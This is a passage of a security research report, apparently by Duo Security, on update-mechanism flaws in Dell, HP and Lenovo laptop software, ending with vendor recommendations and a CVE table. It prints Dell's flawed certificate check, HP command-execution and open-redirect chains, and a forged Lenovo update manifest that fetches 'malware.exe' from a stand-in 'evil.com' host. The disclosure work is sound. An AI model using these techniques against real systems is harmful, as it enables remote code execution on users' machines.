<Product Name="INSPIRON" ID="INS2015" PublishDate="20151125" Image="" Version="2015.11.25.00">
<Applications>
<Application ID="DFS3-ALL" AppID="DFS-FW" Region="DAO,LATAM,EMEA,APJ,CCC"
OS="W732,W764,W832,W864,W1032,W1064" Version="3.0.700.0" Title="Dell Foundation Services"
Description="Dell Foundation Services" MarketingMessage="" Category="Application" DellVersion="A08"
Released="2015/11/24" Importance="Critical" IsNotificationRequired="N" RebootRequired="N"
SilentInstall="Y">
<File ID="DFS-DEF" FileName="DEFAULT/DellFoundationServices_
v3.0.700.0.exe" FileFormat="EXE" FileMimeType="" SizeInKB="14096.24"
Checksum="3175CB8DDD6DE0C67B66D750161DF931B6DC462452059D996B8A9215363DD2AB" SilentInstall="Y"/>
</Application>
<Application ID="DDS1.1-INS-ALL" AppID="DDS-FW" Region="DAO,LATAM,EMEA,APJ,CCC" OS="W764,W832,W864"
Version="1.1.6.0" Title="Dell Data Services" Description="Dell Data Services" MarketingMessage="Welcome
to Dell Data Services" Category="Application" DellVersion="A01" Released="2014/11/11"
Importance="Recommended" IsNotificationRequired="N" RebootRequired="N" SilentInstall="Y">
<File ID="DDSDEFSILENT_1.1" FileName="DEFAULT/DellDataServices_
v1.1.6.0.exe" FileFormat="EXE" FileMimeType="" SizeInKB="11593.70"
Checksum="5EB84FA85C75679DCB331EC84AAC80A65A72E41386F115D6FAB51277105BEDFE" SilentInstall="Y"/>
</Application>
[... ]
</Applications>
</Product>
```

UNSIGNED MANIFEST

Dell fails to sign DFS manifests in both versions we looked at. Should an attacker manage to MITM the manifest request, in conjunction with Authenticode validation flaws (version 2.1.3.1), exploitation is simply a matter of appending an entry for a new executable file.

Fortunately, Dell does transmit their manifest over HTTPS which prevents trivial modification (eDell-Root certificate issues aside).

IMPROPER AUTHENTICODE VALIDATION

The original version (2.1.3.1) of Dell update included with our test laptop failed to properly validate the Authenticode certificate. While Dell did make some attempt to determine if the executable retrieved by the updater was genuine, the original implementation is flawed.

The offending code can be found in `Dell.Updater.Core.FileUtils` the `'IsSignedByDell()'` method which simply checks that the file is signed by any certificate and that the owner value of that certificate contains the string `'DELL'` or `'DELL INC.'`

This was woefully insufficient, without validating that the certificate used to sign the executable was signed by a trusted root CA, anyone could simply use a self-signed certificate with an owner name of `'DELL'` to pass this check. The vulnerable code follows:

```
public static bool IsSignedByDell(string filePath) {
    FileUtils.log.InfoFormat("CertCheck for {0}.", filePath);
    bool result;
    try {
        System.Security.Cryptography.X509Certificates.X509Certificate x509Certificate =
            System.Security.Cryptography.X509Certificates.X509Certificate.
                CreateFromSignedFile(filePath);
        FileUtils.log.DebugFormat("Certificate Issuer: \"{0}\"", x509Certificate.Issuer);
        string text = x509Certificate.Subject.ToUpperInvariant();
        string[] array = text.Split(new char[]{' '});
        string[] array2 = array;
        for (int i = 0; i < array2.Length; i++) {
            string text2 = array2[i];
            if (text2.Trim().Equals("O=DELL INC.") || text2.Trim().Equals("O=DELL")) {
                FileUtils.log.Debug("CertCheck passed.");
                result = true;
                return result;
            }
        }
        FileUtils.log.Debug("Not certificated by Dell!");
        result = false;
    }
    catch (System.Exception)
    {
        FileUtils.log.Warn("Fail to extract Cert Issuer!");
        result = false;
    }
    return result;
}
```

Dell appears to have remedied this issue with a silent fix in DFS Version 2.4.3.0, which performs validation of the Authenticode certificate:

```
FileUtils.signedFileWrapper signedFileWrapper = new FileUtils.  
signedFileWrapper();  
signedFileWrapper.signedFile = signedFile;  
X509Certificate certificate = X509Certificate.CreateFromSignedFile(signedFile.  
filename);  
signedFileWrapper.x509Certificate = new X509Certificate2(certificate);  
  
if (func == null)  
{  
    func = new Func<bool>(signedFile.validateCertificate);  
}  
Func<bool> func2 = func;  
signedFileWrapper.certVerificationStatus = signedFileWrapper.x509Certificate.  
Verify();  
bool verified = signedFileWrapper.certVerificationStatus;  
bool expr_140;  
while (true)  
{  
    if (!verified)  
    {  
        if (action == null)  
        {  
            action = new Action(signedFileWrapper.verifyCert);  
        }  
        Impersonator.RunImpersonated(action);  
    }  
    IL_C8:  
    if (!signedFileWrapper.certVerificationStatus)  
    {  
        goto IL_159;  
    }  
    FileUtils.#eb.Info(FileUtils.\u0092(20866));  
    result = func2();  
    IL_17C::  
}  
catch (CryptographicException)  
{  
    FileUtils.#eb.Warn(FileUtils.\u0092(20935));  
}  
catch (Exception)  
{  
    FileUtils.#eb.Warn(FileUtils.\u0092(20984));  
    result = false;  
}  
return result;  
}
```


Hewlett-Packard

HP fared okay in our testing, when compared to many other vendors. They made use of HTTPS (albeit inconsistently) for the transmission of executables and performed Authenticode validation of executables retrieved by the updater. However, they also exposed the most attack surface due to the enormous number of proprietary tools included with the machine. We're not really sure what they all do and we kind of got sick of reversing them after a while, so we stopped.

HP includes their support framework on Microsoft Signature Edition devices, or at least the one we received for testing. This decision wound up being detrimental to Signature Edition device security, due to some of the vulnerabilities we uncovered. While Signature Edition does reduce attack surface by cutting down on the cruft, HP included a lot of proprietary tools.

HP Support Solutions Framework

HP Support Solutions Framework (HPSSF) is the standard software package HP includes on its laptops. It has functionality for automatically retrieving software, driver and BIOS updates from HP; hard drive restore functionality; and features for communicating with HP support.

HPSSF is implemented as a sort of Rube Goldberg machine of scheduled tasks and Windows services, all communicating through a variety of different IPC mechanisms: embedded HTTP servers in services, named pipes, COM objects, and custom URI handlers.

Given the large number of interfaces, and components, their interactions are a bit confusing and redundant features are all over the place. For example, signature verification is implemented (sometimes differently) in multiple places. This provided a lot of attack surface to explore for entry points into potentially risky code.

HP exposes most of the attack surface with an enormous number of pre-loaded proprietary tools.

HPSSF software updates are triggered by a manifest hosted on acim.external.hp.com, served over HTTP. An example manifest for HPSSF updates is as follows:

```
<HPSF_Patches>
  <Resource>
    <Name>FrameworkPatch</Name>
    <Version>12.0.30.219</Version>
    <VersionCheck Type="RegVer" Path="HPSSF" Name="Version"/>
    <Depends>
      <Check Type="RegVer" Path="HPSSF" Name="Version" Version="12.0.0.0"/>
    </Depends>
    <Post Type="Install">
      <Run Path="FrameworkPatch\PatchInstaller.exe" Args="/f"/>
    </Post>
  </Resource>
  <Resource>
    <Name>HPSAPatch</Name>
    <Version>8.1.40.3</Version>
    <VersionCheck Type="RegVer" Path="HPActiveSupport" Name="Version"/>
    <Depends>
      <Check Type="RegVer" Path="HPSSF" Name="Version" Version="12.0.0.0"/>
      <Check Type="RegVer" Path="HPActiveSupport" Name="Version"
Version="8.0.0.0"/>
    </Depends>
    <Post Type="Install">
      <Run Path="HPSAPatch\PatchInstaller.exe" Args="/h"/>
    </Post>
  </Resource>
</HPSF_Patches>
```

UNSIGNED MANIFEST

Continuing the trend seen with other vendors, HP also failed to sign their manifest. The HP updater provides a particularly good demonstration of why Authenticode validation of binaries alone is insufficient. HP validated that anything downloaded by the updater or any command to be executed possessed a valid HP signature. This is a significant improvement over many of the other vendors.

However, as the manifest is unsigned and transmitted over HTTP, **it allows for the execution of arbitrary applications signed by HP**. The ability to execute arbitrary tools that are already signed by HP presents an attacker with a number of possible exploitation scenarios. Here are a few example attacks:

Since HP's manifest is unsigned and transmitted over HTTP, it allows for the execution of arbitrary apps signed by HP.

The HP 'SoftPaq' installers (for software package upgrades), which are signed by HP, provided a method for arbitrary command execution by appending the '-e' command line parameter:

```
"C:\Users\%USERNAME%\AppData\Local\Hewlett-Packard\HP Support Framework\Temp\hpsasoftpaq.exe" -s -e calc
```

This does require the attacker to be able to predict the location of a SoftPaq installer on the target. In practice, these can often be found left over from prior updates in various temporary directories.

An attacker could wreak havoc (or do a public good?) by forcibly uninstalling HP software entirely. For example, this will uninstall the HPSSF software suite:

```
"C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\LHAdmin.exe" /u
```

There is also what we can only describe as "the best thing ever" for an attacker looking to MITM HP's updater: an **executable that is simply a Hewlett-Packard signed wrapper around cmd.exe**. Yep, it lives in C:\hp\bin\commands.exe and provides an easy way of executing whatever arbitrary command you want from an HP-signed executable. It looks like this in practice:

```
<Resource>
  <Name>HPSSFUpdater</Name>
  <Version>8.1.0.23</Version>
  <VersionCheck Type="FileVer" Path="" Name="HPSSFUpdater.exe"/>
  <Depends>
    <Check Type="RegVer" Path="HPSSF" Name="Version"
Version="12.0.30.169"/>
    <Check Type="FileVer" Path="" Name="HPSFReport.exe"
Version="8.0.2.5"/>
  </Depends>
  <Post>
    <Run Path="..\..\..\..\hp\BIN\commands.exe" Args="/c
notepad.exe">
    </Run>
  </Post>
</Resource>
```

These examples demonstrate the necessity for authenticating manifests. Simply because an application is signed by a trusted party does not mean it is welcome or safe to execute.

HP Download and Install Assistant

HP Download and Install Assistant (HPDIA) is a component of the HPSSF that is used to retrieve software updates, triggered by a web service (HP.SSF.WebService) running on TCP port 8092 (<http://localhost:8092/>).

An attacker could wreak havoc by forcibly uninstalling HP software entirely.

...the HP updater could be used to prompt users to install undesirable software.

LACK OF SIGNATURE VALIDATION

HPDIA has logic to verify signatures of files to be installed (and this logic looks solid), but it seems that this is not enforced. We can download and prompt users to run any executable hosted on *.hp.com, for example the following unsigned executable:

```
http://ftp.hp.com/pub/automatic/NetworkAssistant/updates/sp33139.exe
```

OPEN REDIRECTS LEADING TO REMOTE CODE EXECUTION

The HP.SSF.WebService listening on TCP 8092 attempts to enforce that requests only come from HP-affiliated websites or local applications, in order to prevent abuse. The local HTTP server checks requests to see if the “callback” parameter is set. If “callback” is set, it then checks the “Referer” header to see if the request came from a *.hp.com site.

This can be bypassed by using an open redirect, for example, the URL below had an open redirect that would properly set the Referer header. This allows an attacker to execute methods against the locally bound web service, remotely. Consider the following example:

```
http://h30155.www3.hp.com/helpandsupport/cpc/cpcRedirectorPage.asp?NextURL=
http://localhost:8092/HPDIA/Run/%3FRemoteFile=https%3A%2F%2Fftp.
hp.com%2Fpub%2Fautomatic%2FNetworkAssistant%2Fupdates%2Fsp33139.
exe%26callback=bypassed
```

This URL will trigger a pop-up from the HP Updater, presenting a “We have downloaded a new update, would you like to install it?” message. Well, it would, but HP patched the open redirect after we reported it to them. You can still view the pop-up by visiting the following URI on a machine with HPSSF installed:

```
http://localhost:8092/HPDIA/Run/?RemoteFile=https%3A%2F%2Fftp.
hp.com%2Fpub%2Fautomatic%2FNetworkAssistant%2Fupdates%2Fsp33139.exe&callback=bypassed
on a machine with HP Support Framework.
```

If an attacker paired that chain of bugs with an open 302 redirect on *.hp.com (the downloader follows 302 redirects) the HP updater could be used to prompt users to install undesirable software. We found 600,000+ subdomains for hp.com, many of which were running apparently abandoned and unmaintained software — you do the math.

Lenovo

The Lenovo systems we looked at included two unique, vendor-supplied updaters: Lenovo Solutions Center and "UpdateAgent." The first of which has been hardened against MITM attacks, while the other appears to be a robust platform for arbitrary remote code execution. The stark contrast between these two pieces of software from the same vendor exemplifies the incoherent mess that is the OEM software ecosystem.

UpdateAgent

Lenovo's UpdateAgent was one of the worst updaters we looked at, providing no security features whatsoever. Executables and manifests are transmitted in the clear and no code signing checks are enforced.

UpdateAgent reaches out to susapi.lenovomm.com over HTTP every ten minutes to check if there are application updates available. An example update request follows:

```
GET /adpserver/GetVIByAKFWPC?ReqType=WindowsPC&AppKey=04EXM0QWKQKZ&
AppVerCode=1004&AppVerName=UA&DevID=PF0BK YQW HTTP/1.1
Accept: */*
Host: susapi.lenovomm.com:80
User-Agent: PC-WIN7
Pragma: no-cache
Connection: close
```

Typically, the following response is sent back by susapi.lenovomm.com when no update is present:

```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Date: Wed, 30 Mar 2016 20:53:19 GMT
Server: nginx/1.2.7
X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1
Content-Length: 23
Connection: Close
{"RES": "LATESTVERSION"}
```

Lenovo's UpdateAgent provides no security features whatsoever.

UNSIGNED MANIFEST

An attacker that is in a MITM position would easily be able to modify the response to contain a seemingly valid update. The following JSON demonstrates a potential malicious update:

```
{
  "RES": "SUCCESS",
  "FORMATTYPE": "FTYPE_2",
  "ChannelKey": "null",
  "VerCode": "5555",
  "VerName": "ua",
  "DownloadURL": "http://evil.com/malware.exe",
  "Size": "5120",
  "UpdateDesc": "up",
  "FileName": "malware.exe",
  "CtrlKey": "0",
  "CustKey": "null",
  "PackageID": "30948",
  "FPMD5": "33A51CF74DEB25671F6DDBBEA3A31B43",
  "ForceUpdate": "Yes"
}
```

Once the UpdateAgent ingests the response, it will download the file from the address specified in "DownloadURL" and execute it as SYSTEM leading to a full system compromise.

NO AUTHENTICODE VALIDATION

Lenovo UpdateAgent does not validate signatures of applications it downloads and executes. No attempts are made to enforce the authenticity or publisher for executables retrieved by the updater.

LACK OF TLS

Lenovo UpdateAgent does not make use of TLS for the transmission of the manifest or any subsequently retrieved executable files. Executables and manifests can easily be modified in transit.

Lenovo Solutions Center

Lenovo Solutions Center (LSC) appears to be one of the best updaters we looked at. This is in stark contrast to the "UpdateAgent" updater, which exhibited no security features whatsoever.

An attacker can easily modify the response to contain a potentially malicious update.

Lenovo Solutions Center (LSC) appears to be one of the best updaters we looked at.

LSC polls <https://download.lenovo.com> at regular intervals for updates to the software manifest, an example manifest follows:

```
<update>
  <versionNumber>3.2.004</versionNumber>
  <url32 md5="03FA715BBB2CA3E7E49C8A87F1F36B5A">
    https://download.lenovo.com/ibmdl/pub/pc/pccbbs/thinkvantage_en/lsc/updates/v3/3.2.004/LSCSetup.
    exe
  </url32>
  <url64 md5="57D448A50D98EA0A1DCC7365DD2F6D00">
    https://download.lenovo.com/ibmdl/pub/pc/pccbbs/thinkvantage_en/lsc/updates/v3/3.2.004/LSCSetup64.
    exe
  </url64>
  <Signature xmlns="http://www.w3.org/2000/09/xmldsig#">
    <SignedInfo>
      <CanonicalizationMethod Algorithm="http://www.w3.org/TR/2001/REC-xml-c14n-20010315"/>
      <SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>
      <Reference URI="">
        <Transforms>
          <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
        </Transforms>
        <DigestMethod Algorithm="http://www.w3.org/2000/09/xmldsig#sha1"/>
        <DigestValue>LpLIy2l9E3AweLGWGFu/2f3xuc=</DigestValue>
      </Reference>
    </SignedInfo>
    <SignatureValue>
      rGOLQg7z/E/yr704oUvueT+co0jTHAjYsV/8D19gTi+Fx0G05ZEIEYMayHnBaoJlAyYelyjgGdpzIWXFmIK6By/yD7OpJik
      Zou69061qwH0gHVRGfm61qr9Sr79x0oP3n4Gsu0F9wdkUf9ClAm2mzT+SComuy5Z0q54HwQHdpVeXON2cyY+07cR0CDEpDt
      sTYTcIDWzLKaqwHjrbTTCeXvEy2U6ahmw0AD00GnAebuR8N/Pw8ynNyZgR1VyGD7RFuTcZTanhMuBikUwgzc0kx1KMx3EIU
      gY0YJ3EhZVgFR0H7prYGpoXa4n1lSBhyYSW7Pdbj8S1Y680Sg3/ndonIQ==
    </SignatureValue>
  </Signature>
</update>
```

LSC makes use of the following security features as part of a solid defense-in-depth strategy:

- Manifests are signed and properly validated.
- Updates are retrieved over HTTPS.
- The manifest is retrieved over HTTPS, making MITM attacks against LSC non-trivial.
- Authenticode signatures are validated through calls to `WinVerifyTrust()`.

While we did not identify any major vulnerabilities during a cursory analysis of LSC's updater, we feel it is prudent to point out that a number of vulnerabilities have been published for LSC in the recent past:

- CVE-2015-8534
- CVE-2015-8535
- CVE-2015-8536

More information on these vulnerabilities can be found in the [Vulnerability Notes Database](#).

Mitigating Strategies

Users

Short of explicitly disabling updaters and removing OEM components altogether, the end user can do very little to protect themselves from the vulnerabilities created by OEM update components. But here's what we recommend for users:

- Wipe any OEM system, and reinstall a clean and bloatware-free copy of Windows before the system is used. Otherwise, reducing the attack surface should be the first step in any system-hardening process.
- Identify unwanted unnecessary software and disable or uninstall it — more complexity generally results in more security flaws, it's a simple numbers game.
- Purchasing Microsoft Signature Edition systems may be beneficial, but not guaranteed to protect end users to flaws in OEM software altogether.
- Dell, HP and Lenovo vendors (in specific cases) appeared to perform more security due diligence when compared to Acer and Asus.

OEM Vendors

Our recommendations for OEM vendors:

- OEMs should consider hardening their updaters through the consistent use of TLS for the transmission of manifests and packages/executable files. TLS would have made exploitation of the flaws we discovered highly improbable, with the exception of those like the eDellRoot issue.
- By far the most important enhancement we can recommend is to implement manifest signing to prevent modification of manifest contents. Once again, proper implementation would have eradicated most of the flaws we outlined in this document.
- Finally, whenever possible, ensure to perform proper validation of Authenticode signatures. Validating that executables are signed by a trusted party is an important part of a defense-in-depth strategy.

Conclusion

Bloatware strikes again! Generally, OEM software is putting users at risk; this is a well-established fact. And OEM-developed update mechanisms are no exception to this rule. By their very nature, they are highly privileged, easy to exploit, and not difficult to reverse engineer. Couple that with limited security review, and this creates the perfect storm for a network-based attacker.

But wait! It gets worse. In a future blog post, we'll outline the details and share disclosure timelines to tell the story of how most OEM vendors fail badly when it comes to responding to and fixing reported vulnerabilities.

OEM updaters are highly privileged, easy to exploit and not difficult to reverse engineer — coupled with limited security review, this creates a perfect storm for an attacker.

Vulnerabilities

The following table outlines each of the vulnerabilities we identified, the vendor status, and where available, the CVE associated with each:

Vendor	Vuln Description	Severity	Vendor Status	CVE
HP	HPSA Service Named Pipe Vulnerability	HIGH	Silently Fixed in most recent version	Unassigned
	HPSFUpdater DLL Preloading Attack	MEDIUM	Silently Fixed in most recent version	Unassigned
	HP Support Framework Arbitrary Code Execution	HIGH	Vulnerability Fixed April 12, 2016. HP not providing a CVE or public customer notification.	CVE-2016-4548
	Open Redirect in HP.com	LOW	Fixed. March 31, 2016	
	Bypass of Referer/Origin Check in Local HTTP Server Handlers	LOW	As of writing, still not fixed.	
	Lack of Signature Checking in HPDIA Downloads.	MEDIUM	As of writing still not fixed.	
	HPDIA Download Redirect Vulnerability	MEDIUM	As of writing still not fixed.	
Asus	Asus LiveUpdate Arbitrary Code Execution	HIGH	No update offered from vendor. Bug is 125+ days old.	CVE-2016-3966
	Asus Giftbox Local Privilege Escalation	MEDIUM	No update offered from vendor. Bug is 125+ days old	CVE-2016-3967
Acer	Arbitrary Code Execution	HIGH	No update offered from vendor. Bug is 45+ days old.	CVE-2016-3964
	Arbitrary Code Execution	HIGH	No update offered from vendor. Bug is 45+ days old.	CVE-2016-3965
Lenovo	LiveAgent Arbitrary Code Execution	HIGH	Affected software being removed from systems in late June.	CVE-2016-3944



CONTACT

Toll Free +1 (866) 760-4247

International +1 (734) 330-2673

DUO.COM

ABOUT DUO

Duo Security is a cloud-based trusted access provider protecting the world's fastest-growing companies and thousands of organizations worldwide. Duo's easy-to-use technology protects organizations from breaches, credential theft & account takeover.

